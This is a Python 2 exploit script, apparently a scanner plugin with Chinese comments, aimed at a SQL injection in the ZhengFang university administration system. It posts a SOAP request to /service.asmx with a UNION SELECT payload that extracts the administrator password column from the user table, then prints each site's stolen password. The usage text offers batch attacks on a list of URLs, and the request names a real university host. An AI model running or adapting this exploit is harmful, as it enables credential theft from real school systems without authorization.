46 lines
2.2 KiB
Python
46 lines
2.2 KiB
Python
#!/usr/bin/python
|
||
#-*- encoding:utf-8 -*-
|
||
# Author = ym2011
|
||
# PlugName = zhengfangsoft_SQL injection
|
||
import re #导入模块
|
||
from sys import argv #导入系统输入的参数
|
||
from dummy import *
|
||
def audit(arg): #利用curl2模块 post发包
|
||
raw = """POST /service.asmx HTTP/1.1
|
||
Host: jiaowu.suse.edu.cn
|
||
Content-Type: text/xml; charset=utf-8
|
||
Content-Length: length
|
||
SOAPAction: "http://www.zf_webservice.com/GetStuCheckinInfo "
|
||
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||
<q1:GetStuCheckinInfo xmlns:q1="http://www.zf_webservice.com/GetStuCheckinInfo">
|
||
<xh xsi:type="xsd:string">222222' union select Null,kl,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null,Null from yhb where yhm='jwc01</xh>
|
||
<xnxq xsi:type="xsd:string">string</xnxq>
|
||
<strKey xsi:type="xsd:string">KKKGZ2312</strKey>
|
||
</q1:GetStuCheckinInfo>
|
||
</soap:Body>
|
||
</soap:Envelope>"""
|
||
url = arg + '/service.asmx' #post地址
|
||
code, head,res, errcode, _ = curl.curl2(url,raw=raw) #发包
|
||
if 'xsi:type="types:StudentCheckinInfo"' in res: #在源码搜索关键字
|
||
mima = re.findall('<xh xsi:type="xsd:string">(.*?)</xh>',res,) #匹配密码
|
||
print u'网址:%s 密码:%s\n'% (arg,mima) #输出密码
|
||
|
||
|
||
if (len(argv)==1): #判断是否定义了url
|
||
print u'''
|
||
使用方法：
|
||
一 python zfsoft.py url --->>>仅是对单个使用正方系统的网站进行SQL injection
|
||
二 python zfsoft.py url.txt --->>> 批量注入一批使用正方系统的网站，请把URL列表添加到url.txt,每行一条URL
|
||
使用示例：
|
||
python zfsoft.py www,hao123.com
|
||
python zfsoft.py url.txt
|
||
'''
|
||
elif (argv[1]=='url.txt'):
|
||
for i in open("url.txt"):
|
||
audit(i)
|
||
else:
|
||
audit(argv[1])
|